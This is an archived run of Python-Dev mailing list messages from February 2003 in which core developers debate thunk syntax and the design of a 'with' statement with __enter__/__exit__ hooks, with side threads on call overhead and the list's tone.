text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Monday, February 03, 2003 11:53:50 -0500 Guido van Rossum=20 wrote: > I still don't have time to read this thread :-(, but I had a new idea > that I'd like to fly here. > > If we want to support thunks that blend into the scope of their > environment as well as thunks that introduce a new local scope, here's > one possible way to do it: > > Thunk blending in: > > [ =3D] : > > > Thunk introducing a new local scope: > > [ =3D] lambda: > > > (Never mind the ugly things I've said about lambda in the past. :-) > > I'm confident that the parser can distinguish these, and I'm confident > that the scope blending can be implemented using nested-scope cells. > > Adding formal parameters to the second case would go like this: > > [ =3D] lambda : > +1 on all these :-) Great stuff. > One concern I have in both cases: I think there are use cases for > wanting more than one block. Glyph's example wants to define various > callbacks for a remote call, and this would need multiple blocks. I > think the syntax for this would have to use some kind of keyword-based > continuation, e.g. > > [ =3D] lambda: > > and lambda: > > ... > > Disclaimer: this is a half-baked idea. > > --Guido van Rossum (home page: http://www.python.org/~guido/) What about: with: n1 =3D x1 lambda: n2 =3D x2 lambda: do expression as a way to pass keyword arguments to expression? That would do it. The=20 only issue would then be passing multiple blocks with the same name, a la=20 try: except: except:, but I don't think that's to bad a thing to lose. Andrew --==========1968576916========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+PwNWHamGxvX4LwIRAvC2AJ9JU/lfC3JvrWz3xO5OagByj+5MHACfXusZ IgFRlgFgNdf6x3VSWmDUvMM= =+nwk -----END PGP SIGNATURE----- --==========1968576916==========-- From guido@python.org Tue Feb 4 01:28:38 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 03 Feb 2003 20:28:38 -0500 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: "Your message of Mon, 03 Feb 2003 18:09:29 EST." <15934.63145.248557.77300@slothrop.zope.com> References: <20030203191711.GA26891@glacier.arctrix.com> <15934.63145.248557.77300@slothrop.zope.com> Message-ID: <200302040128.h141Sck19273@pcp02138704pcs.reston01.va.comcast.net> > IIRC the largest expense in function calls is setting up the frame > object for the new function to use. I don't think there are any > low-hanging fruit here, because the frame model is pretty deeply > embedded in the interpreter. It seems like all the work in > PyEval_EvalCodeEx() has to get done sometime. Then that's where we should have a clean fresh look. --Guido van Rossum (home page: http://www.python.org/~guido/) From graham_guttocks@yahoo.co.nz Tue Feb 4 02:45:27 2003 From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=) Date: Tue, 4 Feb 2003 15:45:27 +1300 (NZDT) Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: Message-ID: <20030204024527.6641.qmail@web10307.mail.yahoo.com> Brett Cannon wrote: > > and yes, some people can get a little snappy. That's an understatement, I think. > But this list's integrity is very high. Well, at times I just don't agree. > to quote Guido, "bullshit". Yup, a great example of what I'm talking about. Interacting with some (not all mind you) of the Python bigwigs tends to leave a bad taste in my mouth, in the same manner as on the qmail or OpenBSD lists. The problem is not what, but how. Perception and cultural management of project mailinglists is extremely important in developing a project community. This is something that the haskell.org folks for example have really done right. Haskell mailinglists have a general warm, friendly tone that is highly conductive to discourse and community. I wish I could say the same for Python. ===== Regards, Graham http://movies.yahoo.com.au - Yahoo! Movies - What's on at your local cinema? From Anthony Baxter Tue Feb 4 02:52:38 2003 From: Anthony Baxter (Anthony Baxter) Date: Tue, 04 Feb 2003 13:52:38 +1100 Subject: [Python-Dev] thunks In-Reply-To: Message-ID: <200302040252.h142qc927014@localhost.localdomain> >>> Roman Suzi wrote > > What about my idea (I have another posting to python-dev > probably unnoticed) > > > code_thunk = ``` > if Guido.let_it_fly(): > print "This is my syntax for inline code block" > ``` Are these backticks/backquotes? If so, I'm -severalmillion on this. Backticks are a pain to distinguish from forwards ticks in too many fonts. Even Guido (in his 'python regrets' talk) dislikes them for the `foo` shorthand for repr(foo). Anthony -- Anthony Baxter It's never too late to have a happy childhood. From pedronis@bluewin.ch Tue Feb 4 03:07:56 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 4 Feb 2003 04:07:56 +0100 Subject: [Python-Dev] thunks References: <200302031653.h13Grof20104@odiug.zope.com> Message-ID: <013c01c2cbfa$9e3178a0$6d94fea9@newmexico> From: "Guido van Rossum" > > Thunk blending in: > > [ =] : > > these need use cases that go beyond what 'with' can do. If multiple execution of the thunk is allowed and control over break, one usage would be: loop: # can contain break/continue instead of: while 1: Another, if in a program one uses often the if some_cond, e.g. if ctl.mode == INTERACTIVE: if ctl.mode != INTERACTIVE: one could define: interactive: notinteractive: ... From ramrom@earthling.net Tue Feb 4 03:20:26 2003 From: ramrom@earthling.net (Bob Gailer) Date: Mon, 03 Feb 2003 20:20:26 -0700 Subject: [DB-SIG] Re: [Python-Dev] database APIs In-Reply-To: <20030203122132.GO912@localhost> References: <1044217837.11685.17.camel@lothlorien> <1044217837.11685.17.camel@lothlorien> Message-ID: <5.2.0.9.0.20030203201927.02ea3e30@66.28.54.253> --=======780035B7======= Content-Type: text/plain; x-avg-checked=avg-ok-7695760E; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit At 12:21 PM 2/3/2003 +0000, Luke Kenneth Casson Leighton wrote: >see http://sf.net/projects/pysqldb. I feel frustrated when pointed to a package that has no documentation. Is there some? Bob Gailer mailto:ramrom@earthling.net 303 442 2625 --=======780035B7======= Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-7695760E Content-Disposition: inline --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.445 / Virus Database: 250 - Release Date: 1/21/2003 --=======780035B7=======-- From mwh@python.net Tue Feb 4 11:04:51 2003 From: mwh@python.net (Michael Hudson) Date: Tue, 04 Feb 2003 11:04:51 +0000 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: <20030203191711.GA26891@glacier.arctrix.com> (Neil Schemenauer's message of "Mon, 3 Feb 2003 11:17:11 -0800") References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> <3E3E4BE7.7000303@tismer.com> <200302031815.h13IFk920861@odiug.zope.com> <20030203191711.GA26891@glacier.arctrix.com> Message-ID: <2mof5spar0.fsf@starship.python.net> Neil Schemenauer writes: > Guido van Rossum wrote: >> I'm in. Given how low you set your stakes, I don't think you're very >> confident, so I'd like to call your bluff. :-) > > Any opinion on where to spend effort? There's this field called tp_cache in type objects that's not currently used... Also Oren's ideas about a lookdict_namespace sounded interesting (always interning keys, inserting failure markers, bouncing succeeding lookups into the first slot examined, IIRC). Finally, anyone planning on a new VM would be well advised to finish off the ast-branch work, I'd suggest. Cheers, M. -- Darned confusing, unless you have that magic ingredient coffee, of which I can pay you Tuesday for a couple pounds of extra-special grind today. -- John Mitchell, 11 Jan 1999 From mwh@python.net Tue Feb 4 11:22:01 2003 From: mwh@python.net (Michael Hudson) Date: Tue, 04 Feb 2003 11:22:01 +0000 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030203140934.D10804@prim.han.de> (holger krekel's message of "Mon, 3 Feb 2003 14:09:34 +0100") References: <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> Message-ID: <2mlm0wp9ye.fsf@starship.python.net> holger krekel writes: > Hello, > > I'll try to take the discussion about a "unified approach" > towards 'code block' or thunk handling into a fresh thread > and present what Michael Hudson truthfully calls > "a friendly competing approach". I should point out that I stole that phrase from Guido (in PEP 283). > I think we can may get away with only a "weak" keyword > and allow the aforementioned encapsulation of execution > events into an object like this: > > exec expr [with params]: suite Gut reaction: ugh! > where the expression is evaluated to return a > "thunk" handler with these optional "execution" hooks: > > def __enter__(self): > "before suite start" > > def __except__(self, type, value, tb): > "swallow given exception, reraise if neccessary" > > def __leave__(self): > """upon suite finish (not called if __except__ > exists and an exception happened) > """ > > The above "with" parameters (of the form name=expr, comma-separated) > are bound in local (or global/nested) *and* handler instance > namespace. The 'suite' is what we call "thunk". > > The above logic allows clean timely finalization for > *multiple* ressources: > > exec autoclose() with f1=open(name1), f2=open(name2, 'w'): > for line in f1: > ... > f2.write(...) That looks messy. > which would execute as follows > > a) autoclose() instance is created and stored as the > "thunk"-handler We need a name for these. I've been using "monitor" for a while, but I'm not sure it's that apposite. > b) f1/f2 are stored as attributes on the autoclose instance > > c) f1/f2 are put into the local/global namespace (and nested ones > if rebinding is allowed) > > d) thunk executes (for line ...) > > e) autoclose 'leave' hook is called (with or without exception) > and is implemented like this: > > def __leave__(self): > for obj in self.__dict__.values(): > obj.close() > > f) thunk handler is removed "Too much magic!" > Because computing 'f1' may succeed but 'f2' can subsequently > fail the assignments *have to* execute within "autoclose" > control. > > Now on to the usage of the except hook. Nice use cases might be > > exec retry(maxretry=3, on=IOError): > # do network io-stuff > or > exec skip_on(AttributeError, TypeError): > some_object.notify_hook() > > but i am sure there are more. Exception handling is often > ugly when inlined with the code. I think that stating > 'exception behaviour' up-front allows to write nice > readable constructs. I am *still* not convinced that an __except__ hook is worth the pain. Can you implement those for me? > __exit__ versus __leave__ > --------------------------- > > One remark (mainly to Michael as he does that other > patch) about the hook-name __leave__ versus __exit__. > we may want to eventually allow 'yield' within the > thunk and then '__exit__' would be misleading. I guess. But enter/exit is just such a canonical pairing. To me, leave is paired with arrive and arrive/leave doesn't make much sense. > Here is the use case: > > exec self.mylock: # would lock/unlock on entering/leaving > # the generator > ... > for whatever in something: > yield whatever > ... yields already can't go in blocks with finally statements, right? Would you propose calling the __enter__ method each time the generator resumed? > Or do you think that this (future) use case warrants > yet another hook? Guess :) > If there is interest i can probably modify my patch > to allow all of the proposed syntax so that you could > play around with it. > > the next additional idea is not essential for my so-far > proposal (but hopefully interesting, nonetheless). I think all these proposals are in danger of bending the language into a place it should not go. Still, we should write some PEPs, even if they wind up rejected. Cheers, M. -- Those who have deviant punctuation desires should take care of their own perverted needs. -- Erik Naggum, comp.lang.lisp From mwh@python.net Tue Feb 4 11:23:49 2003 From: mwh@python.net (Michael Hudson) Date: Tue, 04 Feb 2003 11:23:49 +0000 Subject: [Python-Dev] Acquire/release functionality In-Reply-To: (john paulson's message of "Mon, 03 Feb 2003 10:41:27 -0800") References: <16E1010E4581B049ABC51D4975CEDB880113D8BC@UKDCX001.uk.int.atosorigin.com> Message-ID: <2misw0p9ve.fsf@starship.python.net> john paulson writes: > In the case of > > with var_1, ... var_N = expr_1, ... expr_N: > suite > > What happens if one of the expr_k throws an > exception? [...] > In the interests of KISS, (with a soupcon of > YAGNI), the single variable form might be > preferable. Quite. Cheers, M. -- MARVIN: What a depressingly stupid machine. -- The Hitch-Hikers Guide to the Galaxy, Episode 7 From pyth@devel.trillke.net Tue Feb 4 11:54:07 2003 From: pyth@devel.trillke.net (holger krekel) Date: Tue, 4 Feb 2003 12:54:07 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <2mlm0wp9ye.fsf@starship.python.net>; from mwh@python.net on Tue, Feb 04, 2003 at 11:22:01AM +0000 References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> <2mlm0wp9ye.fsf@starship.python.net> Message-ID: <20030204125407.R5939@prim.han.de> Michael Hudson wrote: > holger krekel writes: > > I think we can may get away with only a "weak" keyword > > and allow the aforementioned encapsulation of execution > > events into an object like this: > > > > exec expr [with params]: suite > > Gut reaction: ugh! then i guess you rather prefer new keywords. I thought that there is a general reluctance to introduce new keywords *and* many people dislike 'exec' for its existence. So reusing it (and we are dealing with execution aspects IMO) makes some sense to me. > > where the expression is evaluated to return a > > "thunk" handler with these optional "execution" hooks: > > > > def __enter__(self): > > "before suite start" > > > > def __except__(self, type, value, tb): > > "swallow given exception, reraise if neccessary" > > > > def __leave__(self): > > """upon suite finish (not called if __except__ > > exists and an exception happened) > > """ > > > > The above "with" parameters (of the form name=expr, comma-separated) > > are bound in local (or global/nested) *and* handler instance > > namespace. The 'suite' is what we call "thunk". > > > > The above logic allows clean timely finalization for > > *multiple* ressources: > > > > exec autoclose() with f1=open(name1), f2=open(name2, 'w'): > > for line in f1: > > ... > > f2.write(...) > > That looks messy. as compared to? I think i have seen messier ideas with all kinds of brackets and double-colons :-) > > which would execute as follows > > > > a) autoclose() instance is created and stored as the > > "thunk"-handler > > We need a name for these. I've been using "monitor" for a while, but > I'm not sure it's that apposite. So far i'd liked "execution handler" because 'enter/exit/except' are IMHO execution events which you can hook into. Do you agree with calling them 'execution events' or how would you call them? > > b) f1/f2 are stored as attributes on the autoclose instance > > > > c) f1/f2 are put into the local/global namespace (and nested ones > > if rebinding is allowed) > > > > d) thunk executes (for line ...) > > > > e) autoclose 'leave' hook is called (with or without exception) > > and is implemented like this: > > > > def __leave__(self): > > for obj in self.__dict__.values(): > > obj.close() > > > > f) thunk handler is removed > > "Too much magic!" Hmmm. That seems a bit unfair to me as many other proposals didn't care to elaborate the exact sequence. You probably are refering to the "namespace interactions" as the other stuff is probably the same with any other proposal so far. > > Because computing 'f1' may succeed but 'f2' can subsequently > > fail the assignments *have to* execute within "autoclose" > > control. Would the following be the correct way to achieve this with your patch? f1=open(inputfn) with autoclose(f1): f2 = open(outputfn, 'w') with autoclose(f2): for line in f1: ... f2.write(line) I think there should be a better solution for multiple ressources. > > > > Now on to the usage of the except hook. Nice use cases might be > > > > exec retry(maxretry=3, on=IOError): > > # do network io-stuff > > or > > exec skip_on(AttributeError, TypeError): > > some_object.notify_hook() > > > > but i am sure there are more. Exception handling is often > > ugly when inlined with the code. I think that stating > > 'exception behaviour' up-front allows to write nice > > readable constructs. > > I am *still* not convinced that an __except__ hook is worth the pain. > Can you implement those for me? Maybe, i haven't looked at your implementation yet and there are some other projects pending :-) > > __exit__ versus __leave__ > > --------------------------- > > > > One remark (mainly to Michael as he does that other > > patch) about the hook-name __leave__ versus __exit__. > > we may want to eventually allow 'yield' within the > > thunk and then '__exit__' would be misleading. > > I guess. But enter/exit is just such a canonical pairing. To me, > leave is paired with arrive and arrive/leave doesn't make much sense. > > > Here is the use case: > > > > exec self.mylock: # would lock/unlock on entering/leaving > > # the generator > > ... > > for whatever in something: > > yield whatever > > ... > > yields already can't go in blocks with finally statements, right? right. > Would you propose calling the __enter__ method each time the generator > resumed? yes, neccessary for locking (as the above example tried to indicate). > > Or do you think that this (future) use case warrants > > yet another hook? > > Guess :) Then i guess it doesn't. That way my point, anyway :-) > > If there is interest i can probably modify my patch > > to allow all of the proposed syntax so that you could > > play around with it. > > > > the next additional idea is not essential for my so-far > > proposal (but hopefully interesting, nonetheless). > > I think all these proposals are in danger of bending the language into > a place it should not go. Still, we should write some PEPs, even if > they wind up rejected. sure. cheers, holger From Paul.Moore@atosorigin.com Tue Feb 4 11:58:15 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 11:58:15 -0000 Subject: [Python-Dev] With statement Message-ID: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> I'm rapidly tending towards a preference for extreme simplicity in the = with statement. My basic logic is that the C++ idiom for all this is pretty minimal, and works well (even though C++ has no "finally" equivalent, so = the need is more pressing in C++). So, my current feeling is: 'with' expr ':' suite expands to _x =3D expr if hasattr(_x, '__enter__'): _x.__enter__() try: suite finally: if hasattr(_x, '__exit__'): _x.__exit__() where _x is a hidden variable unavailable to the user. And that's it. No assignment, no exception handling, no multiple = expressions. The two use cases we've been looking at (locks and files) can be coded = as: class autoclose: def __init__(self, f): self.f =3D f def __exit__(self): self.f.close() f =3D open("whatever") with autoclose(f): # Use f and class autolock: def __init__(self, l): self.l =3D l def __enter__(self): self.l.acquire() def __exit__(self): self.l.release() l =3D lock() # or whatever with autolock(l): # work with the lock held (Thanks to Oren Tirosh for pointing out these idioms). Having autolock = as a subclass of lock also reads OK ("with l:" for "with the lock l held"), = but I don't think the file example reads well when expressed this way. Alex Martelli suggested transactional processing may be a reasonable use = case for needing exception handling (commit in __exit__ and rollback in = __except__) but I don't think the gain is worth the extra complexity - I'd say leave = this coded as now with try...except..else. (Alex - care to convince me = otherwise?) If anyone feels a need for more than this, please supply a use case - I = can't think of anything concrete. Otherwise, this is what I'm going to put in = the PEP... Paul. From aleax@aleax.it Tue Feb 4 12:03:24 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 4 Feb 2003 13:03:24 +0100 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030204125407.R5939@prim.han.de> References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> Message-ID: <200302041303.24580.aleax@aleax.it> On Tuesday 04 February 2003 12:54 pm, holger krekel wrote: ... > f1=open(inputfn) > with autoclose(f1): > f2 = open(outputfn, 'w') > with autoclose(f2): > for line in f1: > ... > f2.write(line) > > I think there should be a better solution for multiple ressources. I agree this is slight too cumbersome, and deeply wish it was feasible to go with: with f1=autoclose(inputfn): with f2=autoclose(outputfn, 'w'): for line in f1: ... f2.write(line) i.e., nested with's would be just fine, IF binding the with'd expression to a name was allowed as part of the with statement, by whatever sugar. I'd rather have it mandatory and use "with junk = autolock(xx):", rather than not having the binding in the "with" -- just as I have only modest problems HAVING to bind a name in "for i in range(5):" even when I don't care about i at all in the loop's body. But if such binding is unfeasible, then maybe it's not worth having the "with" after all -- or else we need something richer and more complicated (and perhaps ugly) as in your proposal. Alex From aleax@aleax.it Tue Feb 4 12:24:12 2003 From: aleax@aleax.it (Alex Martelli) Date: Tue, 4 Feb 2003 13:24:12 +0100 Subject: [Python-Dev] With statement In-Reply-To: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> References: <16E1010E4581B049ABC51D4975CEDB886199D4@UKDCX001.uk.int.atosorigin.com> Message-ID: <200302041324.12573.aleax@aleax.it> On Tuesday 04 February 2003 12:58 pm, Moore, Paul wrote: ... > Alex Martelli suggested transactional processing may be a reasonable use > case for needing exception handling (commit in __exit__ and rollback in > __except__) but I don't think the gain is worth the extra complexity - I'd > say leave this coded as now with try...except..else. (Alex - care to > convince me otherwise?) Unless somebody can think of other use cases, I think it's reasonable to say that try/except/else can take care of such transactional needs. I still don't think splitting the typical need for "with x = expr:" into two statements (x=expr first, then with x:) is optimal (even though in the case of the lock you might not need that, you do need it again as soon as it needs to be e.g. a Condition instead of a Lock -- basically any time you need the expr in the body, which I'd say is most often, quite differently from with and if and much closer to for). When you nest with statements (and I agree that having only ONE thingy per with is fine, so nested with statements are the way to go), it's even less pleasant, IMHO. To put it another way: is the advantage of: f = open("whatever") with autoclose(f): # Use f sufficient with respect to the existing alternative: f = open("whatever") try: # Use f finally: f.close() to be worth introducing a new kind of statement? I see 3 lines (4 if you insist on breaking after "finally:" of course) -- plus the body "# Use f" of course -- with the existing alternative, versus two with the new statement. With name binding, with f = autoclosedfile("whatever"): # Use f we're down to 1, and in this case the advantage strikes me as substantial. It would also be more natural for people who are used to coding "resource acquisition is initialization" in C++, since in that case, too, a name is always required (whether you use it or not in the following block): { autoclosedfile f("whatever"); // Use f } > If anyone feels a need for more than this, please supply a use case - I > can't think of anything concrete. Otherwise, this is what I'm going to put > in the PEP... As long as you mention in the PEP the ardent wish of some of us for name binding within 'with', np -- I can't see any other "use case" for binding-within-with save for the fact that it seems such a frequent need, and almost necessary to make 'with' enough of a win to justify its existence;-). Alex From mwh@python.net Tue Feb 4 12:32:13 2003 From: mwh@python.net (Michael Hudson) Date: Tue, 04 Feb 2003 12:32:13 +0000 Subject: [Python-Dev] exec/with thunk-handling proposal In-Reply-To: <20030204125407.R5939@prim.han.de> (holger krekel's message of "Tue, 4 Feb 2003 12:54:07 +0100") References: <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203140934.D10804@prim.han.de> <2mlm0wp9ye.fsf@starship.python.net> <20030204125407.R5939@prim.han.de> Message-ID: <2mfzr4p6pe.fsf@starship.python.net> holger krekel writes: > Michael Hudson wrote: >> holger krekel writes: >> > I think we can may get away with only a "weak" keyword >> > and allow the aforementioned encapsulation of execution >> > events into an object like this: >> > >> > exec expr [with params]: suite >> >> Gut reaction: ugh! > > then i guess you rather prefer new keywords. I thought that there > is a general reluctance to introduce new keywords There is. But __future__ makes a sensible transition possible, at least. > *and* many people dislike 'exec' for its existence. So reusing it > (and we are dealing with execution aspects IMO) makes some sense to > me. It makes some sense, sure. But not enough, in *my* opinion. We don't want to go down the C route -- consider poor "static"[1]. [...] >> > The above "with" parameters (of the form name=expr, comma-separated) >> > are bound in local (or global/nested) *and* handler instance >> > namespace. The 'suite' is what we call "thunk". >> > >> > The above logic allows clean timely finalization for >> > *multiple* ressources: >> > >> > exec autoclose() with f1=open(name1), f2=open(name2, 'w'): >> > for line in f1: >> > ... >> > f2.write(...) >> >> That looks messy. > > as compared to? I think i have seen messier ideas with all kinds > of brackets and double-colons :-) As compared to the dirt simple scheme Paul just posted about. >> > which would execute as follows >> > >> > a) autoclose() instance is created and stored as the >> > "thunk"-handler >> >> We need a name for these. I've been using "monitor" for a while, but >> I'm not sure it's that apposite. > > So far i'd liked "execution handler" because 'enter/exit/except' are IMHO > execution events which you can hook into. Do you agree with calling > them 'execution events' or how would you call them? Sure enter/exit/except are execution events, but execution handler rubs me the wrong way because that imples the (e.g.) autoclose object is somehow responsible for executing the suite, which it isn't: it;s more an observer of the execution. And it's a suite goddamit, not a thunk (in this proposal). >> > b) f1/f2 are stored as attributes on the autoclose instance >> > >> > c) f1/f2 are put into the local/global namespace (and nested ones >> > if rebinding is allowed) >> > >> > d) thunk executes (for line ...) >> > >> > e) autoclose 'leave' hook is called (with or without exception) >> > and is implemented like this: >> > >> > def __leave__(self): >> > for obj in self.__dict__.values(): >> > obj.close() >> > >> > f) thunk handler is removed >> >> "Too much magic!" > > Hmmm. That seems a bit unfair to me as many other proposals didn't care > to elaborate the exact sequence. True. However, I'm currently in favour of a very simple proposal. > You probably are refering to the "namespace interactions" as the > other stuff is probably the same with any other proposal so far. I'd very much hope that some of the sillier proposal are dead in the water. Sure, your proposal is hardly the most complex out there, but *I* still think it's too complex. Actually, it's mainly the b) and c) bits I object to. >> > Because computing 'f1' may succeed but 'f2' can subsequently >> > fail the assignments *have to* execute within "autoclose" >> > control. > > Would the following be the correct way to achieve this with your patch? > > f1=open(inputfn) > with autoclose(f1): > f2 = open(outputfn, 'w') > with autoclose(f2): > for line in f1: > ... > f2.write(line) Yup. > I think there should be a better solution for multiple ressources. Fair enough. I don't. [...] >> I am *still* not convinced that an __except__ hook is worth the pain. >> Can you implement those for me? > > Maybe, i haven't looked at your implementation yet and there are > some other projects pending :-) I meant, can you implement retry and skip_on? Sorry, that was unclear. [...] >> Would you propose calling the __enter__ method each time the generator >> resumed? > > yes, neccessary for locking (as the above example tried to indicate). Hmm, that could work. Tricky to implement as things currently stand but managable for sure. Good grief, I should do something useful today. Cheers, M. [1] Strange small worldy fact: the phrase "consider poor static" has stuck with from my earliest usenet experiences, so I google for it, and it turns out it was John W. Baxter, comp.lang.python regular. -- : Giant screaming pieces of excrement, they are. I have a feeling that some of the people in here have a MUCH more exciting time relieving themselves than I do. -- Mike Sphar & Dave Brown, asr From Paul.Moore@atosorigin.com Tue Feb 4 13:07:37 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Tue, 4 Feb 2003 13:07:37 -0000 Subject: [Python-Dev] exec/with thunk-handling proposal Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8CD@UKDCX001.uk.int.atosorigin.com> holger krekel wrote: > Michael Hudson wrote: > > holger krekel writes: > > > I think we can may get away with only a "weak" keyword > > > and allow the aforementioned encapsulation of execution=20 > > > events into an object like this: > > > > > > exec expr [with params]: suite > >=20 > > Gut reaction: ugh! >=20 > then i guess you rather prefer new keywords. I thought that there > is a general reluctance to introduce new keywords *and* many > people dislike 'exec' for its existence. So reusing it > (and we are dealing with execution aspects IMO) makes > some sense to me. I can see your point. Personally, I don't have any great problems with = "exec", so I'd like to understand better how your proposal integrates this new = use of exec with the existing use. And at some point, it will be necessary to = confirm that the parser can be made to distinguish the various uses (it seems to = me that extra lookahead will be needed). > > > where the expression is evaluated to return a > > > "thunk" handler with these optional "execution" hooks: > > > > > > def __enter__(self): =20 > > > "before suite start" > > > > > > def __except__(self, type, value, tb):=20 > > > "swallow given exception, reraise if neccessary" > > > > > > def __leave__(self): > > > """upon suite finish (not called if __except__=20 > > > exists and an exception happened) > > > """ > > > > > > The above "with" parameters (of the form name=3Dexpr, = comma-separated)=20 > > > are bound in local (or global/nested) *and* handler instance=20 > > > namespace. The 'suite' is what we call "thunk". > > > > > > The above logic allows clean timely finalization for > > > *multiple* ressources: > > > > > > exec autoclose() with f1=3Dopen(name1), f2=3Dopen(name2, 'w'): > > > for line in f1: > > > ... > > > f2.write(...) > >=20 > > That looks messy. >=20 > as compared to? I think i have seen messier ideas with all kinds > of brackets and double-colons :-) I agree with you here. This looks OK to me in terms of syntax. I'm not = so sure of the semantics - that may be the bit Michael thought was "messy". = Binding the with parameters in two places feels odd, and in particular injecting = the parameter names into the instance namespace is unusual (I know of no = other construct in Python which implicitly changes an instance namespace like = this). And as far as the local namespace is concerned, consider exec something() with f1=3D12: suite # Out of the exec now - what is the value of f1??? I assume that the assignment to f1 is still in existence, otherwise = you're inventing a new way of defining a scope. But if the binding to f1 does = still exist, then that looks odd, because "exec ... with f1=3D12" *reads* as = if f1 is only in scope for the duration of the statement. You seem to lose either way... > > > which would execute as follows > > > > > > a) autoclose() instance is created and stored as the=20 > > > "thunk"-handler > >=20 > > We need a name for these. I've been using "monitor" for a while, = but > > I'm not sure it's that apposite. >=20 > So far i'd liked "execution handler" because 'enter/exit/except' are = IMHO > execution events which you can hook into. Do you agree with calling > them 'execution events' or how would you call them?=20 The way you've defined things, I see the logic - it's hooks into the = execution model. I'm not sure I'd have thought of that way of looking at it for = myself, though... > > > b) f1/f2 are stored as attributes on the autoclose instance > > > > > > c) f1/f2 are put into the local/global namespace (and nested = ones > > > if rebinding is allowed) > > > > > > d) thunk executes (for line ...) > > > > > > e) autoclose 'leave' hook is called (with or without = exception) > > > and is implemented like this: > > > =20 > > > def __leave__(self): > > > for obj in self.__dict__.values():=20 > > > obj.close() But what if the object was more complex, and needed its own state? How = could it tell which were "its own" variables and which had been injected? = (Other than by hard coding a list of "its own" variables to ignore, which is = utterly horrible). > > > f) thunk handler is removed=20 > >=20 > > "Too much magic!" >=20 > Hmmm. That seems a bit unfair to me as many other proposals didn't = care=20 > to elaborate the exact sequence. You probably are refering to the=20 > "namespace interactions" as the other stuff is probably the same > with any other proposal so far. No, I agree with Michael here. Just because other proposals handwave and = don't give proper semantics doesn't mean that they don't also have too much = magic. In my book "unclear semantics" is a worse accusation than "too much = magic". But both are bad :-) > > > Because computing 'f1' may succeed but 'f2' can subsequently > > > fail the assignments *have to* execute within "autoclose" > > > control. =20 Hmm. In the equivalent try...finally construct, the idiom is to open the = file *outside* the try statement, so that exceptions when opening the file = don't get accidentally caught. You need to address this - particularly in the = case of multiple variables. > Would the following be the correct way to achieve this with your = patch?=20 >=20 > f1=3Dopen(inputfn) > with autoclose(f1): > f2 =3D open(outputfn, 'w') > with autoclose(f2): > for line in f1: > ... > f2.write(line) >=20 > I think there should be a better solution for multiple ressources. In many ways, I agree with you. I originally wanted multiple = expressions, and assignments within the "with" statement. But people argued against them = (look back over the thread if you want the details). I honestly don't believe = that the with statement will ever please everyone - the best we can hope for = is to let it handle the simple cases well, with clean, well-defined semantics = with as few surprises as possible, and leave the remaining cases to the = existing try statement (or to a more ambitious thunk-based mechanism). There is a real risk of slimming the with statement down to uselessness = by this philosophy. But this may simply indicate that the need is perceived rather than real :-) > > > Now on to the usage of the except hook. Nice use cases might be > > > > > > exec retry(maxretry=3D3, on=3DIOError):=20 > > > # do network io-stuff > > > or > > > exec skip_on(AttributeError, TypeError): > > > some_object.notify_hook() > > > > > > but i am sure there are more. Exception handling is often > > > ugly when inlined with the code. I think that stating=20 > > > 'exception behaviour' up-front allows to write nice=20 > > > readable constructs.=20 > >=20 > > I am *still* not convinced that an __except__ hook is worth the = pain. > > Can you implement those for me? >=20 > Maybe, i haven't looked at your implementation yet and there are > some other projects pending :-) There's no implementation of any form of except hook in existence yet (excluding the IEXEC patch). The key point here is that your explanation = of semantics above didn't cover __except__ hooks. 